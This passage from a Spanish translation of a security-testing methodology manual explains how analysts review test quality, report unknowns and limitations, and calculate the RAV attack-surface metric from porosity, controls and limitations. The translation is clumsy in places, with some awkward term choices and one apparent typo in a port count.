por pasar la tarjeta. El analista debe considerar cómo probar lo que sucede
cuando el visitante interactúa con el lector de tarjetas para obtener acceso, así
como los efectos secundarios de tener la tarjeta. Sin embargo, incluso si las
pruebas muestran que el lector de tarjetas está conectado a un sistema
informático independiente y no está conectado a la red.
Por lo tanto, el analista examinará el alcance de donde puede ocurrir una
interacción, así como donde las operaciones muestran que las interacciones se
producen.
Esto permitirá una caracterización de los puntos de interacción, cualquier
interacción indirecta posible, y todos los efectos secundarios de tales
interacciones. Esta caracterización debe ser entonces emparejada con las
pruebas realizadas para determinar si se realizaron todas las pruebas correctas.
Busque signos de Intuición.
Las máquinas son claramente mejores que humanos en consistencia. Los

humanos generalmente quedan aburridos, confundidos, o descuidados. Cuando
una máquina cuenta monedas, no pierde cuenta y necesite comenzar de nuevo.
No duda de sí mismo y comience de nuevo, no usará la intuición. El poder de
intuición es increíble, le permite a las personas imaginar, aplicar la creatividad a
un trabajo, y saber cuándo en algo o sobre algo se sienten equivocados.
Está es parte de la condición humana para inconscientemente detectar

problemas y prepararse consecuentemente. De cualquier forma, ¿qué es
exactamente esta intuición? es la que algunas veces nos conduce a cometer
errores. Esto es más obvio cuando contamos cantidades grandes de objetos que
analizar que resultan ser muy similares. Sin concentración total, podemos
Página 285 de 430

comenzar a darnos cuenta y eventualmente podemos sentirnos obligados para

comenzar de nuevo o justamente aceptar un número que suena como correcto.
Hay un lapso de tiempo cuando una prueba requiere máxima precisión; durante
un gran número de secuencias repetitivas. Generalmente, tendemos a crear
herramientas, para manejar este tipo de repetición, de cualquier forma, que no
siempre puede ser posible debido a la naturaleza dinámica de la prueba, como
al interactuar con personas, en lugar de máquinas u objetos inanimados. Para
los progresos de prueba, el probador puede usar intuición para hacer la
presunción, que la prueba será innecesaria. El analista debe pagar por la
atención especial que este tipo de pruebas requiere y debe buscar signos de
intuición por parte del probador.
Los signos de uso inadecuado de la intuición en las pruebas son:
1. Las incongruencias en los tipos de pruebas realizadas a través de

objetivos múltiples, similares.
2. El número de disminución de pruebas entre objetivos.
3. La longitud de tiempo para la disminución de pruebas entre objetivos.
4. El mismo objetivo probado más de una vez con las mismas pruebas.
La detección de uso inadecuado de intuición, en las pruebas saldrá a la vista un

proceso inadecuado de experimentación y la calidad de los resultados debería
ser estimada con sospecha. El re ensayo puede ser una buena medida
correctora de este uso inadecuado.
La información transparente.
Raramente se llega al fin de un análisis de seguridad con todas las respuestas.

Desde que las pruebas dependen del Modelo OpSec y de los controles de un
canal particular el vector/res allí son las incógnitas a despejar en la ecuación.
Puede haber un objetivo visible que no provee interacción y no da más

información acerca de ese objetivo puede ser determinado de este vector y este
canal. Está en lo correcto. El analista debería informado qué ha sido encontrado
con seguridad y no por suposiciones lo que podría ser. Hay ningún lugar para
adivinar al medir una superficie de ataque.
Además de información acerca de la prueba misma, en lo que se refiere a cómo

estaba hecho, el analista necesitará reportar los siguientes 7 resultados
experimentales:
1. Las incógnitas a medida que los vectores y los canales analizados

crecen más información estarán disponibles y eso a su vez cambiará y
proveerá inteligencia demandable. Inversamente, tal vez más resultados
son inciertos o la correlación de resultados provea respuestas conflictivas,
la inteligencia demandable resultante es inaplicable. La incógnita es una
respuesta válida para informar. Lo que no puede ser conocido es tan válido
y como importante en la seguridad como cuándo es descubierto. Las
funciones incógnitas son difíciles de experimentar y analizar. La incógnita
Página 286 de 430

no necesita verse como un fracaso del probador más bien puede deberse
a la protección superior o un ataque que usa un costo grande de tiempo o
los recursos no posibles en una prueba. Ningún analista debería temer a
informar que algo es desconocido. Esto es un resultado poderoso más
propio para un análisis de riesgos.
2. Objetivos o Blancos no probados Adicionalmente, las necesidades del

analista para informar categorizan las incógnitas - los blancos dentro de
un alcance, que no ha sido probado, dentro de un canal o de un vector
determinado. Si una prueba no puede ser completada: por restricciones
de tiempo, limitaciones de la herramienta, o por tratarse de blancos
inestable, el ambiente experimental cambiante constantemente de
condiciones como para proporcionar resultados correctos, o porque las
pruebas no fueron buscadas por el propietario del blanco / objetivo esto
necesita ser conocido e informado de forma inmediata a la conclusión de
las pruebas. Informando qué no fue examinado, considere hacer lo
correcto es decir probar todas combinaciones posibles para hacer
comparaciones con pruebas futuras. Eso también ayudará a evitar
defraudar por sólo probar el bien segmento protegido dentro de un
alcance determinado e ignorar el resto por dar la impresión de una
superficie pequeña de ataque.
3. Las limitaciones identificadas y Verificadas Además de las incógnitas, el

analista también debe informar de cualquier limitaciones identificadas y
verificadas como las vulnerabilidades en los blancos. Una limitación
identificada es una que ha sido determinado a través de conocimiento y
correlación. Esto es útil cuando las pruebas mismas son peligrosas o muy
costosas (ensayos destructivos). Algunas veces una prueba puede dañar
para un blanco o puede causar una degradación inaceptable o el daño
colateral puede llegar a ser de tipo criminal. Una limitación verificada es
una donde el problema ha estado específicamente probado para
determinar si existe.
4. Posibles falsos y los medios para generarlos Durante las pruebas,

algunas limitaciones identificadas no serán vulnerables a esos ataques en
particular durante la verificación. Sin embargo, esto no concluye que el
objetivo no tiene esas limitaciones. Sólo significa que la prueba en
particular en ese momento en particular y desde ese probador en
particular no expuso la vulnerabilidad como identificado. También podría
significar que el objetivo es vulnerable, pero está protegido por un control
en particular. Dichos positivos falsos deben ser informados de manera
que, durante el desarrollo de técnicas protectoras y defensivas, el
problema pueda ser observado más de cerca, particularmente a partir de
un vector diferente.
Página 287 de 430

5. Procesos y procedimientos de seguridad fallidos. Durante el análisis, los

resultados de las pruebas mostrarán algo más que el OpSec, los tipos de
controles y el número de limitaciones. Estos procedimientos y procesos
pueden operar sobre cualquier entidad para la que están diseñados para
verificar las medidas de protección a su estado actual. Esto incluye, pero
no se limita a mantenimiento, adquisición, identificación, autorización,
limpieza, recuperación de desastres, relaciones con los socios,
generación de políticas, control climático y recursos humanos. Cuando un
objetivo tiene una limitación muchas veces hay un proceso o
procedimiento fallido detrás de él. El analista debe ser capaz de
determinar exactamente lo que es a partir de los resultados de la prueba
agregada
6. Buenas Prácticas El término "Mejores Prácticas" se utiliza para explicar la

mejor manera de hacer algo por parte de una persona u organización. Por
desgracia, este término ha sido usado en exceso y de forma no adecuada
hasta el punto en que ahora significa que es mejor para todos. Esto mismo
ha causado problemas y desperdiciado recursos. Una manera de
contrarrestar este problema es usar los resultados de las pruebas
agregadas para mostrar prácticas que tienen éxito. Esto mostrará lo que
puede repetirse para lograr un éxito equivalente en otras áreas de la
organización y definir una "mejor práctica" personalizada para cada uno
de ellos. También reducirá su dependencia de las Mejores Prácticas de
toda la industria a favor de lo que funciona mejor para ellos.
7. Cumplimiento En caso de que se necesiten alcanzar objetivos específicos

de cumplimiento, el analista debe utilizar los resultados de las pruebas
correlacionadas para determinar si se han cumplido estos objetivos. Esto
puede necesitar ser informado o transferido en un fichero con un formato
especial según lo determinado por el auditor sin embargo el analista está
mejor equipado para mostrar qué resultados de prueba, proporcionan la
información necesaria.
Métricas en Operaciones de Seguridad OpSec.

Las métricas de seguridad operacional son las métricas con las que estamos
más familiarizados en nuestras vidas. Cuando medimos la altura, el ancho o la
longitud de un objeto, estamos utilizando una métrica operativa. Cuando
escribimos la fecha, tenemos un cumpleaños, o preguntamos a la partitura de un
juego que estamos usando métricas operacionales.
Una métrica operacional es una medida constante que nos informa de un
recuento de hechos en relación con el mundo físico en el que vivimos. Son
operacionales porque son números con los que podemos trabajar
constantemente de un día a otro y de persona a persona. Es difícil trabajar con
medidas relativas o inconsistentes como elegir un matiz específico de amarillo
para pintar una habitación, comenzar el trabajo al amanecer, tener el sabor
Página 288 de 430

adecuado de la fresa para un batido, o prepararse para que la próxima amenaza

afecte los beneficios de su organización debido a que los factores tienen muchas
variables son sesgados o que cambian con frecuencia entre las personas, las
regiones, las costumbres y las ubicaciones.
Por esta razón, muchas profesiones intentan estandarizar cosas como sabores,
colores y horas de trabajo. Esto se hace a través del reduccionismo, un proceso
de encontrar los elementos de tales cosas y de construirlas a partir de allí
cuantificando esos elementos. De esta manera, los colores se convierten en
frecuencias, las horas de trabajo se convierten en horas y minutos, los sabores
se convierten en compuestos químicos, y una superficie de ataque se convierte
en porosidad, controles y limitaciones. El único problema real con las métricas
operativas es el requisito de saber cómo aplicar correctamente la métrica para
que sea útil.
La realización de una prueba de seguridad exhaustiva tiene la ventaja de

proporcionar métricas precisas sobre el estado de seguridad. Como con el uso
de cualquier métrica. Cuanto menos exhaustivo sea el test, menor lo será la
métrica general. Los analistas afectarán también negativamente a la calidad de
la métrica al igual que las personas que no saben decir el tiempo, no pueden
construir relojes, los diseñadores sin las herramientas adecuadas no pueden
decidir exactamente con los colores.
Usar RAVs para medir y rastrear el Seguridad en nada de tiempo. Los maestros
de cerveza que no pueden medir los ingredientes en la cerveza no pueden hacer
lotes similares repetidamente para el mercado. Por lo tanto, una métrica de
Página 289 de 430

seguridad exitosa requiere una prueba que se puede describir como la medición
de los vectores adecuados, mientras que la contabilidad de las inexactitudes y
tergiversaciones en los datos de la prueba recogida, así como las habilidades o
la experiencia de los profesionales de seguridad que realizan la prueba.
Las fallas en estos requerimientos resultan en mediciones de menor calidad y
falsas determinaciones de seguridad, por lo tanto, la métrica también debe ser lo
suficientemente simple, como para usarla sin que sea tan simple, que no diga
nada. Además, una métrica de seguridad adecuada debe evitar los sesgos
inherentes a las evaluaciones de riesgo, asegurando que las mediciones tienen
integridad. Estas cualidades se han combinado para crear los RAVs, una
descripción imparcial y objetiva de una superficie de ataque.
Conocer el RAV
El rav es una medida de escala de la superficie de ataque, la cantidad de
interacciones incontroladas contra un objetivo, que se calcula mediante el
equilibrio cuantitativo entre operaciones, limitaciones y controles.
Tener los RAVs es entender cuánto de la superficie de ataque está expuesta. En
esta escala, 100 rav (también se muestra como 100% rav por simplicidad de
comprensión, aunque no exactamente un porcentaje) es el equilibrio perfecto y
nada menos, estos son muy pocos controles y por lo tanto una mayor superficie
de ataque. Más de 100 rav demuestra más controles de los que son necesarios,
a su vez puede ser un problema, ya que los controles a menudo añaden
interacciones dentro de un ámbito, así como problemas de complejidad y
mantenimiento.
El rav no mide el riesgo para una superficie de ataque, sino que permite medirlo.
No se puede decir si un objetivo particular será atacado, pero puede decir dónde
un objetivo será atacado, qué tipos de ataques, como el blanco se puede
defender con éxito, qué tan profundo puede llegar un atacante y cuánto daño
puede hacerse. Con esa información es posible evaluar las contramedidas (y los
riesgos) con mucha mayor precisión.
El rav es en realidad múltiples cálculos separados de: porosidad, controles y
limitaciones, que cuando se combinan mostrará el tamaño de una superficie de
ataque de dos maneras prácticas. La primera forma es en un cálculo recto. Es el
cálculo del Delta, un número que describe la exposición específica de ese
objetivo. Esto es útil para determinar cómo una nueva persona, cosa o proceso
cambiará la seguridad operativa de un nuevo ámbito o como una comparación
entre varios objetivos individuales. Esta es también la forma más fácil de ver
Seguridad Perfecta, el perfecto equilibrio entre Porosidad, Controles y
Limitaciones. El rav se muestra como un número positivo o negativo que muestra
cuán lejos está el objetivo de un equilibrio perfecto de seguridad.
Un delta positivo muestra que se gasta demasiado en los controles en general o
incluso si el exceso de gastos es demasiado de un tipo de control. Un delta
negativo muestra una falta de controles o controles ellos mismos con limitaciones
que no pueden proteger adecuadamente al objetivo.
Página 290 de 430

Esta es una herramienta poderosa para saber exactamente dónde y cómo se

están gastando los recursos para proteger un objetivo en particular. Sin embargo,
esto no es cómo el rav es más útil.
La segunda forma práctica de mostrar la superficie de ataque es para entender
el panorama general. Esto se representa como seguridad real. Cuando el cálculo
de Delta se basa en el equilibrio perfecto, el cálculo de seguridad real utiliza el
Delta, pero también incluye controles adicionales y redundantes para
proporcionar una métrica más amigable y familiar. Aquí la representación del rav
es similar a cómo la gente utiliza porcentajes. El rav se calcula con un logaritmo
de base 10, lo que hace una representación más comprensible.
Mientras que el rav está todavía en equilibrio, el equilibrio perfecto se fija en 100
y los cálculos se hacen con respecto a eso. Esto permitirá a la mayoría de las
personas tener una visión rápida y fácil de todos los objetivos en un ámbito o de
un solo objetivo en relación con otros objetivos. Es extremadamente flexible para
que las superficies de ataque múltiples puedan ser comparadas por la seguridad
actual incluso si el alcance o los objetivos son muy diferentes: el 95% de rav de
un alcance con 1000 sistemas informáticos es comparable al 95% rav con sólo
10 sistemas, lo que puede ser nuevo. En comparación con un edificio con un
95% rav. Los tres proporcionarán la misma información a una persona que la
protección del blanco es 5% deficiente y por lo tanto expuestos al ataque. Con
este conocimiento, uno puede comenzar a evaluar el riesgo y determinar lo que
está expuesto, lo que queda sin control, y si ese 5% es aceptable.
¿Cómo es un RAV?
Un rav es un poco diferente de otras mediciones de seguridad porque el conteo
es único dentro de un alcance. Eso es como determinar el tamaño general de
una persona contando todas las células en ellos y categorizarlos por lo que
hacen para determinar la salud general de la persona. Esta es la razón por la rav
sólo puede derivarse de las pruebas de seguridad operacional.
Imagina que existe una máquina que puede auditar todas las células de un
cuerpo humano. Esta máquina trabaja supervisando las células en su ambiente
e incluso empujando cada célula de una manera que puede reaccionar para
categorizar mejor su propósito. Podríamos entonces ver qué hacen varias
células y cómo contribuyen al funcionamiento general del cuerpo humano.
Algunas células forman paredes de tejido como las células de la piel. Algunos,
como los glóbulos blancos, proporcionan autenticación y atacan a otras células
que están en su lista "mala". Entonces algunas células son extranjeras, como
bacterias que han entrado en algún momento y prosperado. La máquina
clasificaría todas las células que componen a la persona, un alcance definido, en
lugar de decir que son "malas" o "buenas".
Mediante el recuento de las células de la máquina puede decir la mayoría de lo
bien que la persona como un organismo funciona (la salud) y lo bien que encajan
en su entorno actual. También puede determinar qué celdas están rotas, que son
superfluas, y de qué tipo más podría ser necesario para que la persona sea más
Página 291 de 430

eficiente, preparada para lo inesperado o para cualquier número de requisitos

específicos. Dado que las células se están dividiendo y muriendo todo el tiempo,
la máquina también debe hacer pruebas periódicas y la capacidad de la persona
para mejorar o por lo menos mantener la homeostasis.
Ahora, además de contar las células y ver cómo funcionan, la máquina también
verá con qué otras células o en qué condiciones interactúan y qué tan bien. En
cada operación de las funciones de la célula la máquina puede determinar cuáles
son las limitaciones de las células. Así que, si fuera posible para la máquina
también reparar un problema en las células defectuosas directamente, fortalecer
el cuerpo mediante el cambio del proceso de las células, o la eliminación de las
células innecesarias, que sería capaz de afectar directamente a la salud del
cuerpo en su conjunto con cada cambio.
O tal vez podríamos cambiar el entorno al que el cuerpo está expuesto en lugar
de las células para hacer más cambios globales. Al someter a la persona a una
mejor nutrición, dieta o ejercicio también cambiaremos el cuerpo a nivel celular.
Todo esto es posible por saber
cómo funcionan las cosas
dentro del cuerpo y qué hay en
estas operaciones.
Desafortunadamente no hay
tal máquina para contar todas
las células en un cuerpo
humano. Sin embargo, existe
para la seguridad. Los
analistas pueden contar y
verificar las operaciones de los
objetivos en un ámbito como si
fuera un superorganismo.
Graban sus interacciones y los
controles que rodean esas
interacciones. Los clasifican
por operaciones, recursos,
procesos y limitaciones. Los
números que generan los
analistas se combinan para
que los controles aumenten la
seguridad operativa y las
limitaciones que se quitan.
Incluso el valor de las limitaciones, qué cada tipo de problema tiene y que daña,
tampoco es arbitrario porque se basa en la combinación de seguridad y controles
dentro de ese ámbito en particular. Por lo tanto, un problema grave en un entorno
protector proporcionará menos exposición total que uno en un entorno menos
controlado.
Página 292 de 430

Ocho Respuestas Fundamentales de Seguridad

El rav no representa riesgo donde se conoce riesgo como Riesgo = Amenaza x
Vulnerabilidad x Activo. En esa ecuación, el riesgo es el resultado de una
ecuación informada, aunque altamente sesgada. Si podemos eliminar la mayor
parte del sesgo conociendo el nivel de protección y por lo tanto el nivel de
impacto de la vulnerabilidad, podemos reducir el sesgo en esa ecuación y dar
una evaluación mucho mejor del riesgo.
Por lo tanto, el rav es en realidad la base factual para una evaluación de riesgo
donde un analista tiene hechos con los que trabajar. El verdadero poder del rav
sin embargo es cómo puede dar respuestas a las siguientes ocho preguntas de
seguridad fundamentales con gran precisión.
1. ¿Cuánto dinero se debe gastar en seguridad?
El rav mostrará la cantidad actual de protección para hacer proyecciones

de seguridad y definir hitos incluso antes de comprar una solución
particular o implementar algún nuevo proceso. A partir de estas
proyecciones e hitos, se pueden crear restricciones financieras para
alcanzar los objetivos y obtener los resultados más específicos de la
inversión. Al saber exactamente lo que se controla en función de los
gastos corrientes, también puede ver lo que no se controla para ese
dinero. "Más" entonces se convierte en lo que falta. Entonces es posible
predecir el costo de llenar los controles que faltan para lograr un equilibrio
perfecto o por lo menos un nivel aceptablemente aceptable de cobertura.
2. ¿Qué debe ser protegido primero?
El rav se puede utilizar para ver la seguridad como parte de la imagen

general y como una lente macro en una parte particular de un objetivo, o
cualquier combinación de los mismos. Después del análisis, el rav
mostrará qué parte particular del alcance tiene la mayor porosidad y los
controles más débiles. Comparando eso con las necesidades y el valor de
un activo, se puede generar una relación entre la fuerza de protección y
el valor para decidir exactamente por dónde empezar.
3. ¿Qué soluciones de protección necesitamos y cómo deberíamos

establecerlas para obtener la máxima eficacia?
Un rav completamente completado mostrará los 10 posibles controles

operativos aplicados para cada objetivo y las limitaciones de esos
controles. A continuación, puede elegir soluciones basadas en qué tipos
de controles desea implementar. La diferencia ahora es que usted ya no
necesita mirar una solución en términos de lo que es más que como la
protección o los controles que puede proporcionar. Esto le permite ver
productos para los controles que necesita proporcionar en las áreas
donde los controles son actualmente deficientes.
Página 293 de 430

4. ¿Cuántas mejoras se obtienen con las adquisiciones y procesos

de seguridad específicos?
Una característica clave de la rav es que usted puede hacer un "Delta"

mediante la asignación de los beneficios y limitaciones de una solución en
particular para la comparación antes de la adquisición. Esto significa que
puede ver los cambios que la solución hará en el ámbito de comparación
con otras soluciones. Combinando ese mapa a un rav del alcance donde
se colocaría la solución, la cantidad de mejora se puede calibrar incluso
antes de la compra. Incluso puede predecir el valor de esa protección
dividiendo el precio de la solución por el delta del rav.
5. ¿Cómo medimos los esfuerzos periódicos de seguridad y las

mejoras?
Con auditorías regulares, el rav puede ser recalculado y comparado con
el valor más antiguo. De esta forma, el coste de las nuevas soluciones y
procesos se puede justificar regularmente, así como el coste de mantener
el nivel de seguridad actual.
6. ¿Cómo sabemos si estamos reduciendo nuestra exposición a

nuestras amenazas?
Con un conocimiento específico de sus controles, puede saber fácilmente
qué parte o vector del alcance es débil para las amenazas específicas y
más desconocidas. En terminología de rav, una amenaza desconocida es
sólo una que puede aparecer donde existen interacciones, pero los
controles no. Por lo tanto, se puede trazar un mapa entre las amenazas
determinadas por los evaluadores de riesgos y los controles en su lugar.
Las revisiones métricas regulares mostrarán cualquier cambio en este
mapa y se pueden hacer regularmente. Entonces es posible medir el costo
que cada una de esas amenazas tiene sobre la seguridad por el gasto en
controles.
7. ¿Puede el rav decirnos cuán bien resiste algo a los ataques?

Técnicamente, sí. Cuanto más se pueda equilibrar los controles con las
interacciones, menor será la superficie de ataque y será más capaz el
objetivo de controlar los tipos conocidos y desconocidos de interacciones.
8. ¿Puede el rav ayudarme con el cumplimiento normativo?

Cualquier cosa que le ayude a clasificar todos los controles y puntos de
acceso en un ámbito le ayudará con las auditorías de cumplimiento. El rav
le ayuda a hacer un trabajo tan bueno de conseguir su seguridad bajo
control que incluso puede encontrar las principales fallas en las
regulaciones de cumplimiento. Aunque ahora no hay un cumplimiento
específico que le pida que tenga un puntaje de rav en particular, mostrar el
OSSTMM STAR con su puntaje de rav le ayudará a cumplir con varios
requisitos de cumplimiento para una auditoría y documentación de terceros.
Página 294 de 430

Cómo construir un RAV.
El rav requiere una prueba de seguridad para tener las cosas correctas contadas
y las operaciones correctas analizadas. Cualquier prueba de seguridad se puede
utilizar, pero la más completa y precisa de la prueba más los resultados
concluyentes serán. El rav fue diseñado originalmente para pruebas de
operaciones, como el OSSTMM, donde el auditor se centra en el comportamiento
del objetivo en lugar de la configuración. Sin embargo, los experimentos
muestran que es posible aplicar el rav a pruebas no operativas, así como en el
análisis de código estático para determinar el nivel de seguridad y complejidad
del software o en auditorías de lista de comprobación de seguridad física para
determinar el nivel de protección que un espacio físico proporcionará. El proyecto
SCARE (Evaluación del Riesgo de Análisis de Código Fuente) hace exactamente
esto aplicando los ravs al código fuente C.
El rav mínimo se hace por el cálculo de porosidad, que son los huecos, dentro
del alcance. El problema con la métrica dependerá generalmente en la
determinación por parte de los asesores en que estos tengan presente lo que
posiblemente no pueden conocer. Este problema no existe en el rav. Usted
trabaja lo que usted sabe que existe y está allí para un vector particular y usted
no hace suposiciones circundantes sobre lo que no está allí. Usted cuenta tan
cuál es visible e interactivo fuera del alcance y tiene en cuenta interacción sin
verificar entre otros blancos en el alcance. Eso se convierte en la porosidad.
Estas marcas de valor de porosidad la primera parte de 3 partes del valor final
del rav. La siguiente parte debe dar razón de los controles en el lugar por blanco.
Página 295 de 430

Esto significa pasarse objetivo por objetivo y determinar dónde cualquier de los
10 controles está en su sitio como: la Autenticación, la Subyugación,
Repudiación, etc. Cada control es preciado como 10 % de un poro desde que
cada uno provea 1/10 de los controles totales necesitados para impedir todo lo
se conoce como un ataque tipo.
Esto es porque tener todos los 10 controles pues cada poro es funcionalmente,
así como cerrar el poro provisto los controles no tenga limitaciones. La tercera
parte del rav da razón de las limitaciones encontradas en la protección y los
controles. Estos están también conocidos como “vulnerabilidades”. El valor de
estas limitaciones viene de la porosidad y controles establecidos mismos. Con
todas las cuentas completadas, el rav básicamente sustrae porosidad y
limitaciones de los controles. Esto es más fácilmente hecho con el calculador
tabular del rav.
Desafortunadamente, un analista no calificado puede proporcionar información

incorrecta que se traducirá en un rav mal. Esta es una posibilidad, al igual que
es posible que un carpintero no mida bien un tablero o un mecánico no pueda
leer los indicadores. El mundo está lleno de escenarios hipotéticos. Por lo tanto,
el rav está diseñado para ser mínimamente influenciado por malas auditorías o
engaños eliminando el tamaño de alcance directo del cálculo métrico.
Sin embargo, ninguna métrica puede ser inmune a la falsificación y la única

manera de asegurar la métrica aplicada al rav sea más precisa es tener múltiples
pruebas a lo largo del tiempo (series) para hacer los recuentos y asegurarse de
que el auditor asuma, la responsabilidad, sobre la exactitud de la prueba.
Es posible tomar un atajo en las pruebas y todavía hacer un rav representativo.
Si no le importa el margen de error, ya que sólo desea hacer una comparación

rápida, puede calcular la Porosidad, lo que significa contar los objetivos visibles
y accesibles. Por ejemplo, aquellos que ejecutan escáneres de vulnerabilidades
pueden contar la porosidad y las limitaciones con relativa facilidad y asignar
controles predeterminados para los servicios descubiertos.
Los analistas también pueden crear una lista de verificación que ofrece controles
predeterminados para diferentes soluciones comunes encontradas. Estos son
todos los atajos para reducir el tiempo de cálculo, pero afectará al rav general
con un margen de error desconocido, pero tal vez aceptable.
El resultado final es un cálculo para la seguridad real. Aplica varios controles del
mismo tipo para satisfacer requisitos de doble imposición como la autenticación
de 2 factores. También utiliza Log10 para reducir números grandes en forma
manejable por humanos. A la gente en general le gusta trabajar con números
más pequeños y especialmente como porcentajes que son más fáciles de
visualizar. Para un alcance pequeño, la precisión de usar Log10 como una
técnica de reducción es insignificante. Sin embargo, si usted tiene un alcance
muy grande con muchos objetivos, puede que desee trabajar con los números
muy grandes para una mayor precisión. Además, si desea ver el equilibrio real
Página 296 de 430

donde no se miden varios controles del mismo tipo, ese cálculo se puede
encontrar bajo el título de protección autentica.
Combinación de canales y vectores.
Un requisito importante en la aplicación del rav, es que la seguridad real sólo se

puede calcular por ámbito. Un cambio en el canal, el vector o el índice es un
nuevo ámbito y un nuevo cálculo para la seguridad real.
Sin embargo, una vez calculado, múltiples ámbitos se pueden combinar juntos
en conjunto para crear una seguridad real que representa una visión más
completa de la seguridad operacional de todos los ámbitos.
Por ejemplo, se puede hacer una prueba de servidores orientados a Internet

desde el lado de Internet y desde la red de perímetro en la que residen los
servidores.
Eso es 2 vectores. Supongamos que el vector de Internet está indexado por
dirección IP y contiene 50 blancos. El vector de la intranet está indexado por la
dirección MAC y está hecho de 100 objetivos porque hay menos controles
internos para permitir una interacción más colaborativa entre los sistemas.
Una vez que se completa cada prueba y se cuenta el rav pueden combinarse en
un cálculo de 150 objetivos, así como las sumas de cada limitación y control.
Esto proporcionará una métrica de seguridad real final, que es más completa
para esa red de perímetro que cualquiera de las dos pruebas proporcionaría por
sí sola. También sería posible añadir el análisis de seguridad física, inalámbrica,
telecomunicaciones y pruebas de seguridad humana de la misma manera. Tales
combinaciones son posibles para crear una mejor comprensión de la seguridad
total de una manera holística.
Calculadora de RAV
Una forma sencilla y sencilla de hacer ravs es usar las hojas de cálculo creadas
específicamente para calcular la superficie de ataque y las diversas métricas
requeridas por los usuarios de los datos de prueba. Esta hoja de cálculo está
disponible en el sitio web de ISECOM. El analista sólo necesita introducir los
valores en los casilleros blancos vacíos y el resto de los cálculos se realizarán
automáticamente.
Página 297 de 430

Convertir los resultados de la prueba en una medida de superficie de

ataque Seguridad operacional
La medición de la Superficie de ataque requiere las mediciones de Visibilidad,

Confianza y Acceso relativas al alcance. El número de objetivos en el alcance
que se puede determinar que existen por interacción directa, interacción indirecta
o emanaciones pasivas es su visibilidad.
A medida que se determina la visibilidad, su valor representa el número de

objetivos en el ámbito. La confianza es cualquier interacción no autenticada con
cualquiera de los objetivos. El acceso es el número de puntos de interacción con
cada objetivo.
Página 298 de 430

Categoría Descripción
El número de objetivos en el ámbito. Cuente todas las
metas por índice sólo una vez y mantenga el índice de
forma consistente para todos los objetivos. En general es
poco realista tener más objetivos visibles que objetivos en
el ámbito definido; Sin embargo, puede ser posible debido
a hemorragias vectoriales donde un blanco que
Visibilidad
normalmente no es visible desde un vector es visible
debido a una configuración errónea o anomalía.
Una auditoría de HUMSEC emplea a 50 personas; Sin
embargo, sólo 38 de ellos son interactivos a partir del
vector de prueba y el canal. Esto haría una visibilidad de
38
Esto difiere de la visibilidad donde se está determinando
el número de objetivos existentes. Aquí, el auditor debe
contar cada acceso por punto de interacción único por
sonda única.
En una auditoria PHYSSEC, un edificio con 2 puertas y 5
ventanas que todas abiertas tienen un acceso de 7. Si
todas las puertas y ventanas están selladas, entonces es
un acceso de 0 ya que estos no son puntos donde se
puede entrar.
Para una auditoría COMSEC de redes de datos, el auditor
cuenta cada respuesta de puerto como un acceso
independientemente de cuántas maneras diferentes el
auditor puede sondear ese puerto.
Sin embargo, si un servicio no está alojado en ese puerto
(daemon o una aplicación), todas las respuestas
provienen de la pila IP. Por lo tanto, un servidor que
responde con una interactividad de SYN / ACK y servicios
Accesos
a sólo uno de los puertos TCP escaneados y con un RST
al resto no tiene un recuento de acceso de 65536 (incluido
el puerto 0) ya que 66535 de los puertos responden con el
Misma respuesta de RST del núcleo.
Para simplificar, contar sólo los puertos con respuestas de
servicio y sólo una respuesta Stack IP
independientemente del número de puertos que pueden
iniciar este tipo de interactividad.
Con las auditorías de HUMSEC, esto es mucho más
simplificado. Una persona que responde a una consulta
cuenta como un acceso con todos los tipos de consultas
(todas las diferentes preguntas que puede hacer o
declaraciones realizadas cuentan como el mismo tipo de
respuesta en el mismo canal). Por lo tanto, una persona
sólo puede ser un acceso de 1 por canal y vector. Sólo una
persona que ignora completamente la solicitud al no
reconocer el canal no se cuenta.
Página 299 de 430

Esto difiere de la visibilidad donde se está determinando

el número de objetivos existentes. Aquí, el auditor debe
contar cada Fideicomiso por punto de interacción único
por sonda única.
En una auditoría de PHYSSEC, un edificio con 2 puertas
internas que separan las habitaciones que se abren tiene
un Fideicomiso de 2. Si esas puertas están selladas
entonces es un Fideicomiso de 0 ya que estos no son
puntos donde uno puede pasar.
Confianza
Para una auditoría COMSEC de las redes de datos, el
auditor cuenta cada tipo de servicio hacia adelante o hacia
adelante como un Fideicomiso.
Con las auditorías de HUMSEC, una persona que actúa
como una puerta de enlace para interactuar con otras
personas o para acceder a la propiedad es un fideicomiso
por canal. Por lo tanto, una persona sólo puede ser una
confianza de 1 por canal y vector. Sólo una persona que
no cumple con la solicitud de confianza no se cuenta
Controles
El siguiente paso en el cálculo del rav es definir los controles; Los mecanismos
de seguridad establecidos para proporcionar seguridad y protección durante las
interacciones.
Cuente cada instancia de autenticación se requiere para
obtener acceso. Esto requiere que la autorización y la
identificación formen ambas partes del proceso para el uso
apropiado del mecanismo de autenticación.
Autenticación En una auditoría de PHYSSEC, si se necesita una tarjeta
de identificación especial y una exploración de impresión
de pulgar, para obtener acceso, a continuación, agregue
dos para la autenticación. Sin embargo, si acceso sólo
requiere uno u otro.
Cuente en cada instancia los métodos utilizados para
determinar la responsabilidad y asegurar la compensación
de todos los activos dentro del alcance.
Un ejemplo básico en PHYSSEC una señal de advertencia
que amenaza con procesar a los intrusos. Otro ejemplo
común es el seguro de propiedad. En un alcance de 200
Indemnización
computadoras, una póliza de seguro general contra robo
se aplica a todos los 200 y por lo tanto es un recuento de
200. Sin embargo, no confunda el método, con la falla en
el método. Una amenaza de enjuiciar sin la capacidad o la
voluntad de enjuiciar sigue siendo un método de
indemnización - sin embargo, lo es con una limitación
Cuente cada instancia de acceso o punto de confianza en
Subyugación el ámbito, en que estrictamente no permite que los
controles sigan la discreción del usuario o se originen
Página 300 de 430

fuera de sí mismo. Esto difiere de ser una limitación de

seguridad en el objetivo, ya que se aplica al diseño o la
implementación de controles.
En una auditoría de redes de datos COMSEC, si se puede
realizar un inicio de sesión en HTTP y en HTTPS, pero
requiere que el usuario haga esa distinción, entonces no
puede contar para Subyugación. Sin embargo, si la
implementación requiere el modo seguro de forma
predeterminada, como un sistema de mensajería interna
PKI, cumple con el requisito del control Subyugación para
ese ámbito.
Más sencillamente, en HUMSEC, un proceso de no
repudio en el que la persona debe firmar un registro y
proporcionar un número de identificación para recibir un
documento está bajo controles de Subyugación cuando el
proveedor del documento registra el número de
identificación, en lugar de que el receptor lo haga, Para
eliminar la grabación de un número falso con un nombre
falso.
el ámbito que garantiza, que no se puede producir
interrupción en la interacción, sobre el canal y el vector,
incluso en situaciones de fallo total. Continuidad es el
término paraguas para características tales como
supervivencia, equilibrio de carga y redundancia.
En una auditoría PHYSSEC, si se descubre que una
